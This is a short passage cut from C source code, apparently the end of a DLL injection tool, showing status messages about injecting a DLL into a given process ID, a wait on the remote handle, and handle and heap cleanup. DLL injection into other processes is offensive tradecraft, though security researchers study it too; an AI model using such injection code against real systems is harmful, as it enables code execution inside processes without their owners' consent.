inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }